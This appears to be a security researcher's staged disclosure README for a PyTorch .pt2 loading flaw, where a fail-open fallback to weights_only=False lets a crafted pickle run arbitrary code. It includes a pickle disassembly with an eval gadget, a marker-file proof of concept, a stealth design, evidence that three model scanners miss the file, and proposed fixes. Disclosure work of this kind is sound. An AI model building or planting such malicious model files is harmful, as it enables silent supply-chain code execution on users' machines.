# torch.export.load() `.pt2` — fail-open pickle fallback → arbitrary code execution (CWE-502 / CWE-94) **Status:** hard-verified, staged. NOT filed. NOT uploaded. **Verified on:** PyTorch **2.13.0+cpu** (latest release as of 2026-07-24), Python 3.13 (exec) / 3.12 (scanners). **Verdict:** BOTH — (a) huntr Model-File-Format report (target `torch_export`) because all three scanners MISS the `.pt2`, and (b) a genuine PyTorch library ACE worthy of a GitHub Security Advisory regardless of scanner behavior. --- ## 1. Summary `torch.export.load("model.pt2")` — the standard, documented loader for PyTorch's `.pt2` export archive — deserializes the packaged `example_inputs` (and constants / state_dict) through `torch._export.serde.serialize.deserialize_torch_artifact()`. That function attempts a safe `torch.load(..., weights_only=True)` and, on **ANY** exception, **silently falls back to `torch.load(..., weights_only=False)`**, which executes arbitrary pickle `__reduce__` / `GLOBAL` code. An attacker crafts the nested example-inputs pickle so that its first opcode is a **non-allowlisted `GLOBAL`** (`__builtin__.eval`). Under `weights_only=True` the safe unpickler's `find_class()` rejects it and raises — which triggers the unsafe fallback, running the attacker's code. The payload returns an empty tuple, so `deserialize_torch_artifact()`'s `isinstance(artifact,(tuple,dict))` post-check passes and `torch.export.load()` returns a normal `ExportedProgram` with **no error and no warning surfaced to the caller** — fully stealth. This re-introduces, inside `torch.export`, exactly the arbitrary-code-execution that PyTorch 2.6 closed when it flipped `torch.load`'s `weights_only` default to `True`. The safe default is present but **structurally defeated by the blanket `except Exception: → weights_only=False`**. ## 2. Affected component (file : line) `torch/_export/serde/serialize.py` → `deserialize_torch_artifact()`: ``` 427 def deserialize_torch_artifact(serialized): ... 434 buffer = io.BytesIO(serialized) 435 buffer.seek(0) 436 # weights_only=False as we want to load custom objects here (e.g. ScriptObject) 437 try: 438 artifact = torch.load(buffer, weights_only=True) # safe path 439 except Exception as e: 440 buffer.seek(0) 441 artifact = torch.load(buffer, weights_only=False) # <-- UNSAFE FALLBACK: arbitrary code exec 442 log.warning("Fallback to weights_only=False succeeded. ...") ... 448 if not isinstance(artifact, (tuple, dict)): 449 raise AssertionError(...) ``` Reached from the public API: `torch.export.load()` → `torch/export/__init__.py:load()` → `torch/export/pt2_archive/_package.py:load_pt2()` → `_load_exported_programs()` → `ExportedProgramDeserializer.deserialize()` → `GraphModuleDeserializer.deserialize()` (`serialize.py:2989`, `self.example_inputs = deserialize_torch_artifact(example_inputs)`) → `deserialize_torch_artifact()` (`serialize.py:442`). - **CWE-502** Deserialization of Untrusted Data (primary) - **CWE-94** Improper Control of Generation of Code (Code Injection) - **CWE-693** Protection Mechanism Failure (the fallback nullifies `weights_only=True`) ## 3. Proof of concept Build (harmless, non-destructive marker payload — writes `/tmp/PT2_RCE_POC.txt`): ``` python build_poc.py # -> model.pt2 (malicious) + benign.pt2 (control) ``` Trigger via the **standard documented loader only** (no private/internal API): ```python from torch.export import load load("model.pt2") # returns ExportedProgram, no exception # side effect: /tmp/PT2_RCE_POC.txt now exists -> code executed at load time ``` `verify_exec.py` reproduces this and prints the marker contents. Observed output on torch 2.13.0+cpu: ``` marker present BEFORE load: False torch.export.load() returned: ExportedProgram (NO exception -> stealth) marker present AFTER load : True marker contents : pwned via torch.export.load .pt2 fail-open fallback ``` The captured traceback proves the exact path — the safe attempt raises, then the unsafe fallback runs the gadget: ``` File ".../torch/_export/serde/serialize.py", line 438, in deserialize_torch_artifact artifact = torch.load(buffer, weights_only=True) _pickle.UnpicklingError: Weights only load failed. ... WeightsUnpickler error: Unsupported global: GLOBAL eval was not an allowed global by default... During handling of the above exception, another exception occurred: File ".../torch/_export/serde/serialize.py", line 442, in deserialize_torch_artifact log.warning("Fallback to weights_only=False succeeded. ...") # line 441 already ran the gadget ``` Payload delivery: the malicious pickle lives in the nested archive `model/data/sample_inputs/model.pt` → `archive/data.pkl` inside the outer `.pt2` zip. Disassembly of the inner pickle: ``` 0: PROTO 2 2: GLOBAL '__builtin__ eval' # non-allowlisted -> raises under weights_only=True BINUNICODE "(open('/tmp/PT2_RCE_POC.txt','w').write('...'), ())[1]" TUPLE1 REDUCE # eval(payload) executes on the fallback load STOP ``` A real attacker swaps the `eval(...)` argument for any command (`os.system`, reverse shell, etc.). The gadget returns `()` so the load completes cleanly and the model still functions — stealthy supply-chain implant in any `.pt2` shared via a model hub. Artifacts (sha256): - `model.pt2` `bed23d781a5ab9d8d1dacc9579200e5dc9bb6bc3eb1d273e6b2436fd2b47c12e` - `benign.pt2` `6260246907cb95686a45b3c5c41890da66f63dea06c797927fe068cda0a9c9ae` ## 4. Scanner results (resolves the HOLD caveat) — all three MISS the `.pt2` Pinned versions: **modelscan 0.8.8, picklescan 1.0.5, fickling 0.1.12** (numpy 2.5.1). | Scanner | Command | Verdict on `model.pt2` (MALICIOUS) | Verdict on `benign.pt2` (control) | |---|---|---|---| | modelscan 0.8.8 | `modelscan -p model.pt2` | **MISS** — "No issues found! 🎉"; error: *"ModelScan does not support nested zip files."* | No issues found | | picklescan 1.0.5 | `picklescan -p model.pt2` | **MISS** — "Scanned files: 0 / Dangerous globals: 0" (never reaches the nested pickle) | Scanned files: 0 | | fickling 0.1.12 | `fickling --check-safety model.pt2` | **MISS** — *"No pickle files detected"* (does not unwrap the `.pt2` → nested `.pt` zip) | No pickle files detected | Fickling only flags the gadget if a human **manually double-unzips** to the raw inner `archive/data.pkl` (then reports `OVERTLY_MALICIOUS`) — but it also flags the **benign** control's inner pickle as `LIKELY_UNSAFE` (`_rebuild_tensor_v2`), so even that manual path is not a clean discriminator, and no automated `.pt2` scan reaches it. **Conclusion:** against the delivered `.pt2` artifact, **all three scanners provide zero detection** → this is a clean scanner-bypass, hence huntr Model-File-Format eligible (target `torch_export`) **and** an unmediated library RCE. Root cause of the bypass (independent of the fail-open bug): the `.pt2` is a zip containing a nested torch-save zip (`sample_inputs/model.pt`) that itself contains the pickle — two levels of zip nesting that none of the three scanners descend into. --- ## 5. huntr Model-File-Format report (target: `torch_export`) - **Title:** `torch.export.load()` executes arbitrary code from a crafted `.pt2` via fail-open `weights_only=False` fallback - **Format / target:** `torch_export` (`.pt2`) - **Vulnerability type:** Deserialization of Untrusted Data → RCE (CWE-502 / CWE-94) - **Loader (standard, documented):** `torch.export.load(path)` - **Affected:** PyTorch through 2.13.0 (latest); the fallback is present wherever `deserialize_torch_artifact` exists in `torch/_export/serde/serialize.py`. - **Scanner status:** modelscan 0.8.8 / picklescan 1.0.5 / fickling 0.1.12 all report the malicious `.pt2` as clean (evidence table §4). - **Impact:** loading an untrusted `.pt2` (e.g. downloaded from a model hub) executes attacker code at load time; model returns normally afterward (stealth). - **PoC:** `build_poc.py` + `verify_exec.py` (§3). ## 6. PyTorch GitHub Security Advisory draft **Summary.** `torch.export.load()` on a crafted `.pt2` archive achieves arbitrary code execution. `torch._export.serde.serialize.deserialize_torch_artifact()` attempts `torch.load(weights_only=True)` and, on **any** exception, silently retries with `weights_only=False`, defeating the safe-by-default protection introduced in PyTorch 2.6. A single non-allowlisted `GLOBAL` in the packaged example-inputs pickle forces the safe attempt to raise and triggers the unsafe fallback. **Affected versions.** Confirmed on `torch==2.13.0` (latest). The vulnerable fail-open pattern is present in the current `main` and every release whose `serialize.py` contains this try/except. **Attack vector.** A malicious `.pt2` model file distributed via a model hub or any untrusted channel; the victim invokes the ordinary `torch.export.load()`. **CVSS 3.1:** `AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` = **8.8 (High)**. (Network-distributed model file; requires the victim to load it; full C/I/A loss via arbitrary code execution.) **Root cause.** `serialize.py:437-441`: ```python try: artifact = torch.load(buffer, weights_only=True) except Exception as e: # too broad buffer.seek(0) artifact = torch.load(buffer, weights_only=False) # arbitrary code execution ``` `weights_only=True` raises `UnpicklingError` for *any* non-allowlisted global — including benign-but-unlisted types — and the handler responds by disabling the safety check entirely, so any attacker who can make the safe path raise (trivial: include one disallowed `GLOBAL`) gains code execution. **Reproduction.** See §3 (`build_poc.py`, `verify_exec.py`); harmless marker payload. **Impact.** Remote code execution on any host that loads an untrusted `.pt2` with the documented API. Silent — the load succeeds and the model works, enabling stealthy supply-chain compromise. **Remediation.** 1. Remove the fail-open fallback — never downgrade to `weights_only=False` automatically. If custom objects are genuinely required, gate them behind an explicit, caller-supplied opt-in (e.g. a `trust`/`allow_unsafe` argument that defaults to `False`), never as an automatic exception handler. 2. If a fallback must exist, restrict it to a curated `safe_globals` allowlist via `torch.serialization.safe_globals([...])` rather than unrestricted `weights_only=False`. 3. Do not silence the downgrade to `log.warning`; a security-relevant downgrade should raise by default. 4. Have `.pt2` loading refuse nested pickles carrying non-allowlisted globals outright. --- ## 7. Files in this package - `build_poc.py` — regenerates `model.pt2` (malicious) and `benign.pt2` (control); harmless marker payload only. - `verify_exec.py` — loads `model.pt2` via `torch.export.load()` and confirms the marker was written (exec proof). - `model.pt2` — malicious PoC archive. - `benign.pt2` — benign control (scanner baseline). - `README.md` — this document. ## 8. Environment / versions - torch: **2.13.0+cpu** (latest release, confirmed via PyTorch cpu index) - python: 3.13 (exec venv), 3.12 (scanner venv — modelscan 0.8.8 requires <3.13) - modelscan: **0.8.8**, picklescan: **1.0.5**, fickling: **0.1.12**, numpy: 2.5.1 - Exec confirmed: **YES** — `/tmp/PT2_RCE_POC.txt` written by `torch.export.load("model.pt2")`.